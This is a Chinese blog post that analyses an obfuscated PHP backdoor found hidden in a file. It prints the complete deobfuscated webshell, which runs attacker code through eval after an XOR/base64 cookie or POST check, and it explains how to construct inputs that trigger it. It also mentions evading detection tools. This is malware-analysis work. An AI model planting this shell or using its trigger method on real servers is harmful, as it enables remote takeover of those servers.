百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 编程字典 > 正文

记一次对php猥琐马的爆菊分析(上)

toyiye 2024-08-31 02:57 4 浏览 0 评论

最近遇到个文件,打开一看只有几行注释?看了下字节数却很大,横向进度条很长啊,通过web访问是空白,看上去应该是藏了后门了。

ps:这种方式遇到粗心/没有经验的管理员可能混过去,但若使用win自带的记事本(需开启自动换行)则一览无余。

实际上换行整理一下:

用Notepad++自带的正则替换简单做了下格式处理。

另外在下面的代码中发现了 eval/*r49557ec*/(

还插了注释,这个小方法很有意思,测试了下函数与"("中间插注释确实不影响执行。

但实际我测试用类似的注释方式填充敏感函数,过不了D盾。

一、还原庐山真面目

在进行替换/整理/和谐部分变量名之后,得到如下完整后门代码(整理后代码):

<?php
$da59aa5 = 208;
$GLOBALS['w8fd00d8'] = Array();
global $w8fd00d8;
$w8fd00d8 = $GLOBALS;
${"\x47\x4c\x4fB\x41\x4c\x53"}['a904'] = "\x2f\x25\x32\x54\x75\x3a\x5e\x36\x31\x48\x21\x5b\x30\x66\x20\x5f\x56\x5a\x4d\x23\x3e\x37\x71\x29\x26\x2c\x68\x7e\x5c\x9\x64\x69\x6e\x3c\x6b\x2b\x61\x2d\x4a\x47\x42\x7c\xa\x6a\x7b\x6f\x52\x27\x4c\x39\x55\x63\x4b\x7a\x49\x3f\x5d\x76\x33\x59\x43\x62\x24\x38\x79\x70\x72\x67\x28\x35\x46\x3d\x7d\x65\x57\x41\x53\x44\x73\x60\x58\x34\x77\x22\x6c\x6d\x4e\x45\x4f\x40\x78\x74\x50\xd\x2a\x2e\x3b\x51";
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
if (!defined('ALREADY_RUN_366afb8a8a2355ab21fbf11ba1a02fba')){
	define('ALREADY_RUN_366afb8a8a2355ab21fbf11ba1a02fba', 1);
	$vv = NULL;
	$kk = NULL;
	$w8fd00d8['c77700426'] = 'aec7e489-2fbc-4b15-871f-1d686eeb80dc';
	global $c77700426;
	
	function  e664fd($vv, $kk){
	global $w8fd00d8;
	$n513761 = "";

	for ($i=0;$i<strlen($vv);){

		for ($p=0;$p<strlen($kk) && $i<strlen($vv);$p++, $i++){
			$n513761 .= chr(ord($vv[$i]) ^ ord($kk[$p]));
		}
	}
	return $n513761;
	}

	function  x184f5cc($vv, $kk){
		global $w8fd00d8;
		global $c77700426;
		return e664fd(e664fd($vv, $c77700426), $kk);
	}

	foreach ($_COOKIE as $k=>$v){
	$vv = $v;
	$kk = $k;
	}

	if (!$vv){
		foreach ($_POST as $k=>$v){
		$vv = $v;
		$kk = $k;
		}
	}
	
	$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));
	
	if (isset($vv['a'.'k']) && $c77700426==$vv['a'.'k']){
		if ($vv['a'] == 'i'){
			$l71c40 = Array('p'.'v' => @phpversion(),'s'.'v' => '1'.'.'.'0'.'-'.'1',);
			echo @serialize($l71c40);
		}
		elseif ($vv['a'] == 'e'){
		eval/*r49557ec*/($vv['d']);
		}
		}
		exit();
	}
?>

1.前面的代码部分:需要用到的函数装入变量数组/并拆分拼接

2.定义了两个功能函数,主要用来验证/处理

3.经过一系列限定条件的判断等,最终触发eval/*r49557ec*/(

4.整个后门的函数/字符串传递几乎都是使用数组+拼接的方式进行的

这是大致的逻辑,实际爆菊成功之前有几件事要做:

1.调试出各种已定义变量的值
2.替换字变量/函数名,增加可读性
3.通过倒序的方式,逐步尝试调用后门,明确调用逻辑。

首先前面几行:

$GLOBALS['w8fd00d8'] = Array();  //定义全局数组,用于保存后面的各种函数名/字符串,以及直接作为函数执行 ,如$GLOBALS['xx']()
global $w8fd00d8;
$w8fd00d8 = $GLOBALS; 
//这里有一个发现,如果变量是被$GLOBALS赋值,那么此变量也会随着$GLOBALS的值实时更新

如:

$test = $GLOBALS;
访问:?handsome=321123
$test值也有handsome=321123

这个特性我查了半天资料,没有找到原因。

下面:

${ "\x47\x4c\x4fB\x41\x4c\x53"}['a904'] = "\x2f\x25\x32\x54\x75\x3a\x5e\x36\x31\x48\x21\x5b\x30\x66\x20\x5f\x56\x5a\x4d\x23\x3e\x37\x71\x29\x26\x2c\x68\x7e\x5c\x9\x64\x69\x6e\x3c\x6b\x2b\x61\x2d\x4a\x47\x42\x7c\xa\x6a\x7b\x6f\x52\x27\x4c\x39\x55\x63\x4b\x7a\x49\x3f\x5d\x76\x33\x59\x43\x62\x24\x38\x79\x70\x72\x67\x28\x35\x46\x3d\x7d\x65\x57\x41\x53\x44\x73\x60\x58\x34\x77\x22\x6c\x6d\x4e\x45\x4f\x40\x78\x74\x50\xd\x2a\x2e\x3b\x51";

查了下似乎是16进制或Unicode编码,双引号情况下可以直接输出其值。

由于是16进制,在单引号包裹的情况下也可以使用chr(hexdec(字符串))进行解码。

当然,我直接打印了所有已定义变量,得到如下:

[a904] => /%2Tu:^61H![0f _VZM#>7q)&,h~\        din chr
            [z2d33f00] => ord
            [v618c417c] => define
            [hb67d10] => strlen
            [r018ad5] => defined
            [x8a4] => ini_set
            [n2eb] => serialize
            [be64] => phpversion
            [f8d94b] => unserialize
            [kdd72d] => base64_decode
            [k23b] => set_time_limit
            [s6f48] => x184f5cc
            [jf1ef40] => e664fd
            [c68905ea] => Array

发现

敏感函数unserialize //可能需要反序列化操作

其中下标[a904]的值由于存在特殊字符,没有显示完全,另外如需利用到[a904]的值也要考虑这个问题,不能直接输出使用。

二、触发条件分析

当时按顺序读了下功能,事后复盘发现,可能比较高效的做法是倒序着读,顺着最下面的执行逻辑往上去构造条件。

所以既然重点在

eval/*r49557ec*/($vv['d']);

那设法$vv['d']可控就好

$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));

可以先不考虑x184f5cc(base64_decode($vv), $kk)是怎么来的,我们先直接修改$vv的值,看怎样才能满足执行条件。

if (isset($vv['a'.'k']) && $c77700426==$vv['a'.'k']){
		if ($vv['a'] == 'i'){
			$l71c40 = Array('p'.'v' => @phpversion(),'s'.'v' => '1'.'.'.'0'.'-'.'1',);
			echo @serialize($l71c40);
		}
		elseif ($vv['a'] == 'e'){
		eval/*r49557ec*/($vv['d']);
		}
		}
		exit();

后门触发条件:

1.$vv需要是数组

2.成员必须存在'ak'且'ak'需等于$c77700426的值

$c77700426的值在上面已有定义:为'aec7e489-2fbc-4b15-871f-1d686eeb80dc';

3.成员需存在'a',若值为'i'则输出版本,为'e'则触发后门

4.后门执行内容为成员'd'的值

所以$vv需要等于↓↓

array(
'ak'=>'aec7e489-2fbc-4b15-871f-1d686eeb80dc',
'a'=>'e',
'd'=>'执行代码' //如phpinfo();
);

.直接传入试试有没有问题 :

可以执行,回到上面:

$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));

那x184f5cc(base64_decode($vv), $kk)的返回值就需要是序列化后的上面我们构造的数组

也就是:

x184f5cc(base64_decode($vv), $kk) 返回值需要等于 a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}

看下x184f5cc()函数做了什么操作?

function  x184f5cc($vv, $kk){
                global $w8fd00d8;  
                global $c77700426;
                return e664fd(e664fd($vv, $c77700426), $kk);
        }

1.其中$w8fd00d8相当于$GLOBALS

$c77700426是固定值 //'aec7e489-2fbc-4b15-871f-1d686eeb80dc'

2.经过两次核心混淆函数e664fd()的处理

这时候重新理一下:

我们必须使e664fd(e664fd($vv, $c77700426), $kk);的返回结果为 ↓↓

a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}

再来看一下e664fd()函数

function  e664fd($vv, $kk){
        global $w8fd00d8;
        $n513761 = "";
        for ($i=0;$i<strlen($vv);){
                for ($p=0;$p<strlen($kk) && $i<strlen($vv);$p++, $i++){
                        $n513761 .= chr(ord($vv[$i]) ^ ord($kk[$p]));
                }
        }
        return $n513761;
        }

大致功能就是把传入的两个参数值逐个字符转为ASCII码并进行位运算(取反),得到的结果以字符串形式返回。

位取反有个特点:

1.A与B取反=C
2.B与C取反=A
可逆,B^C当然就得到A了。

所以回过头看:我们必须使函数↓↓

e664fd(e664fd($vv, $c77700426), $kk);

的返回结果为 ↓↓

a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}

也就是我们需要在第二次我们必须使e664fd()时候,让e664fd($vv, $c77700426)与$kk的取反结果等于↓↓

a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}

于是需要看看$kk的值是如何过来的,

foreach ($_COOKIE as $k=>$v){
        $vv = $v;
        $kk = $k;
        }

        if (!$vv){
                foreach ($_POST as $k=>$v){
                $vv = $v;
                $kk = $k;
                }
        }

发现$kk/$vv前后没有做什么验证,代码就是就是比较单纯的获取COOKIE或POST提交过来的参数名和参数值并传给$kk/$vv

我们通过cookie提交来验证一下是否正常输出:

没问题!

三、确定爆菊思路

然后我们大致确定下构造的思路:

e664fd(e664fd($vv, $c77700426), $kk);

第一次e664fd()执行时:

e664fd($vv, $c77700426) //$c77700426 = 'aec7e489-2fbc-4b15-871f-1d686eeb80dc'

需返回能与第二次e664fd() cookie参数名取反结果为a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"......的值

第二次e664fd()执行时:

e664fd(第一次的返回值, $kk);

//需返回

a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}

所以构造思路如下:

(('aec7e489-2fbc-4b15-871f-1d686eeb80dc' ^ cookie值) ^ cookie参数名) = a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}

按照这个逻辑进行参数提交,方可触发后门。

但COOKIE/POST中参数名对特殊字符支持有限,所以$kk(参数名)的值最好在字母/数字范围内,好在$vv(参数值)的值就宽容的多,尤其是由于$vv传递过程需要Base64解码,所以,cookie值需base64编码,可以取反的字符范围就比较大了。

$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));

我们先把$kk也就是cookie参数名的字符固定一下,比如就叫'tttttttttttttttttttttttttttttttttttttt.....'(也可以是任意字符 cookie参数名允许即可)
具体长度取决于我们的payload序列化后的字符长度(phpinfo()的序列化后长度是101个字符),两者长度要一致。

四、写个Payload脚本

大致实现通过传参生成任意执行代码的payload,如果要更懒的话可以直接写提交过去。
Payload代码:

生成结果:

执行结果:

问题:

为何我测试许久发现提交的命令只要大于11个字符就报错,应该不是cookie参数名长度问题,希望有兄弟解答!

..........

彩蛋

我在分析此后门过程中,前面提到的导致无法执行超过11位的payload。

Heihu577兄弟进行了调试并提醒了我原因所在,我很感谢他,并且他把此马进一步拓展利用,不仅改了过查杀,还可以直接用于SHELL管理工具(如蚁剑),他的文章很精彩,让我们一起拭目以待他的下文吧!

本文作者:00地气00

相关推荐

# Python 3 # Python 3字典Dictionary(1)

Python3字典字典是另一种可变容器模型,且可存储任意类型对象。字典的每个键值(key=>value)对用冒号(:)分割,每个对之间用逗号(,)分割,整个字典包括在花括号({})中,格式如...

Python第八课:数据类型中的字典及其函数与方法

Python3字典字典是另一种可变容器模型,且可存储任意类型对象。字典的每个键值...

Python中字典详解(python 中字典)

字典是Python中使用键进行索引的重要数据结构。它们是无序的项序列(键值对),这意味着顺序不被保留。键是不可变的。与列表一样,字典的值可以保存异构数据,即整数、浮点、字符串、NaN、布尔值、列表、数...

Python3.9又更新了:dict内置新功能,正式版十月见面

机器之心报道参与:一鸣、JaminPython3.8的热乎劲还没过去,Python就又双叒叕要更新了。近日,3.9版本的第四个alpha版已经开源。从文档中,我们可以看到官方透露的对dic...

Python3 基本数据类型详解(python三种基本数据类型)

文章来源:加米谷大数据Python中的变量不需要声明。每个变量在使用前都必须赋值,变量赋值以后该变量才会被创建。在Python中,变量就是变量,它没有类型,我们所说的"类型"是变...

一文掌握Python的字典(python字典用法大全)

字典是Python中最强大、最灵活的内置数据结构之一。它们允许存储键值对,从而实现高效的数据检索、操作和组织。本文深入探讨了字典,涵盖了它们的创建、操作和高级用法,以帮助中级Python开发...

超级完整|Python字典详解(python字典的方法或操作)

一、字典概述01字典的格式Python字典是一种可变容器模型,且可存储任意类型对象,如字符串、数字、元组等其他容器模型。字典的每个键值key=>value对用冒号:分割,每个对之间用逗号,...

Python3.9版本新特性:字典合并操作的详细解读

处于测试阶段的Python3.9版本中有一个新特性:我们在使用Python字典时,将能够编写出更可读、更紧凑的代码啦!Python版本你现在使用哪种版本的Python?3.7分?3.5分?还是2.7...

python 自学,字典3(一些例子)(python字典有哪些基本操作)

例子11;如何批量复制字典里的内容2;如何批量修改字典的内容3;如何批量修改字典里某些指定的内容...

Python3.9中的字典合并和更新,几乎影响了所有Python程序员

全文共2837字,预计学习时长9分钟Python3.9正在积极开发,并计划于今年10月发布。2月26日,开发团队发布了alpha4版本。该版本引入了新的合并(|)和更新(|=)运算符,这个新特性几乎...

Python3大字典:《Python3自学速查手册.pdf》限时下载中

最近有人会想了,2022了,想学Python晚不晚,学习python有前途吗?IT行业行业薪资高,发展前景好,是很多求职群里严重的香饽饽,而要进入这个高薪行业,也不是那么轻而易举的,拿信工专业的大学生...

python学习——字典(python字典基本操作)

字典Python的字典数据类型是基于hash散列算法实现的,采用键值对(key:value)的形式,根据key的值计算value的地址,具有非常快的查取和插入速度。但它是无序的,包含的元素个数不限,值...

324页清华教授撰写【Python 3 菜鸟查询手册】火了,小白入门字典

如何入门学习python...

Python3.9中的字典合并和更新,了解一下

全文共2837字,预计学习时长9分钟Python3.9正在积极开发,并计划于今年10月发布。2月26日,开发团队发布了alpha4版本。该版本引入了新的合并(|)和更新(|=)运算符,这个新特性几乎...

python3基础之字典(python中字典的基本操作)

字典和列表一样,也是python内置的一种数据结构。字典的结构如下图:列表用中括号[]把元素包起来,而字典是用大括号{}把元素包起来,只不过字典的每一个元素都包含键和值两部分。键和值是一一对应的...

取消回复欢迎 发表评论:

请填写验证码